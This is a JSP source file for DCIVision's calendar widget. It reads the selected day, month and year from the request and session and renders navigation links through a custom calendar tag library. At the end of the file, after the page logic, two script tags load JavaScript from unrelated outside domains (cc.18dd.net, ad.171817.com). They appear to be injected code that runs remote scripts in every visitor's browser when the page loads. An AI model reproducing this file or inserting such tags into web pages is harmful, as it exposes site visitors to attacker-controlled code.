<%
/*
 * @(#)Calendar.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  Calendar.jsp

  This class is reflecting logic calendar.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.5 $
*/
%>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.framework.*" %>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/newCalendar" prefix="newCalendar" %>


<jsp:useBean id="session_container" scope="session" class="com.dcivision.framework.SessionContainer"/>
<style>

.title
{
  color:white;
  background:#336699;
  margin: 12px
  font-family: "Fixedsys", "Helvetica", "sans-serif";
  font-size: 12px;
  text-align: "center"
}

.header
{
  font-family: "Arial", "Helvetica", "sans-serif";
  font-size: 13px;
  font-weight: bold;
  color:white;
  background:#003366;
  text-decoration: none;
}


.selected
{
  background:#BFE8F0;
}

.link
{
  text-decoration: none;
}
td {
  font-family: "Verdana", "Arial", "Helvetica", "sans-serif";
  font-size: 10px;
  font-weight: bold;
}

.calendar1 {
  font-family: "Verdana", "Arial", "Helvetica", "sans-serif";
  font-size: 10px;
  font-weight: bold;
}
</style>
<%
  try{
    GregorianCalendar gCal = new GregorianCalendar() ;
    int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
    int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
    int currentYear = gCal.get(GregorianCalendar.YEAR) ;
    int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
    int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
    int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;
    //Calendar selectedDate = Calendar.getInstance();
    String dateInLongFormat = TextUtility.formatDate(gCal.getTime(),"dd MMMM yyyy");

    int selectedDay = currentDay;
    int selectedMonth = currentMonth;
    int selectedYear = currentYear;

    if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
      Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
      selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH) ;
      selectedMonth = selectedDateInSession.get(Calendar.MONTH) + 1;
      selectedYear = selectedDateInSession.get(Calendar.YEAR);
    }

    if (request.getParameter("selectedDay")!=null)
      selectedDay = TextUtility.parseInteger(request.getParameter("selectedDay"));
    if (request.getParameter("selectedMonth")!=null)
      selectedMonth = TextUtility.parseInteger(request.getParameter("selectedMonth"));
    if (request.getParameter("selectedYear")!=null)
      selectedYear = TextUtility.parseInteger(request.getParameter("selectedYear"));

    //   This fragment of code handle the case if the selectedDate is larger than
    //  what it supposed to be,like '32'.
    Calendar selectedDate = Calendar.getInstance();
    selectedDate.set(selectedYear,selectedMonth-1,selectedDay);
    selectedDay = selectedDate.get(Calendar.DAY_OF_MONTH);
    selectedMonth = selectedDate.get(Calendar.MONTH)+1;
    selectedYear = selectedDate.get(Calendar.YEAR);

    //String target = request.getParameter("targetAction");

    String defaultTarget = "Home.do?navMode="+CalendarRecord.NAV_MODE_LIST_BY_DAY;
    String toDailyTarget = "calendar/ListCalendar.do?navMode="+CalendarRecord.NAV_MODE_LIST_BY_DAY;
    //set some selected values
    String strSelectedDate = TextUtility.formatDate(selectedDate.getTime(),"yyyy-MM-dd");

    request.setAttribute("strSelectedDate",strSelectedDate);
    String navMode = CalendarRecord.NAV_MODE_LIST_BY_DAY;

    if (request.getParameter("navMode") != null) {
      navMode = (String)request.getParameter("navMode");
    }

    //target = "calendar/ListCalendar.do?navMode="+navMode+"&";
%>
          <newCalendar:calendar month="<%=selectedMonth%>" year="<%=selectedYear%>" locale="<%=session_container.getSessionLocale()%>" header="true">
            <newCalendar:setTitleStyle>font-size:10pt; color:#FF0000</newCalendar:setTitleStyle>
            <newCalendar:setHeaderStyle>color:#0000FF; text-decoration:none</newCalendar:setHeaderStyle>
            <%
              for (int i=1;i<32;i++){
                   //if (i!=selectedDay){
            %>
                  <newCalendar:setLink day="<%=i%>">
                  <%=request.getContextPath()%>/<%=toDailyTarget%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>
                  </newCalendar:setLink>
             <%  //}
              }
             %>
            <newCalendar:setNextMonth><%=request.getContextPath()+"/"%><%=defaultTarget%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth+1%>&selectedYear=<%=selectedYear%>
            </newCalendar:setNextMonth>
            <newCalendar:setPrevMonth><%=request.getContextPath()+"/"%><%=defaultTarget%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth-1%>&selectedYear=<%=selectedYear%>
            </newCalendar:setPrevMonth>
            <newCalendar:setHeaderClass>header</newCalendar:setHeaderClass> <newCalendar:setTitleClass>title</newCalendar:setTitleClass>
            <newCalendar:setLinkClass>link</newCalendar:setLinkClass>
            <newCalendar:setDateClass day="<%=selectedDay%>">selected</newCalendar:setDateClass>
            <newCalendar:setTarget>_self</newCalendar:setTarget> </newCalendar:calendar>

<%
  }catch(Exception ex) {
    out.println("err in Calendar="+ex);
  }

%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>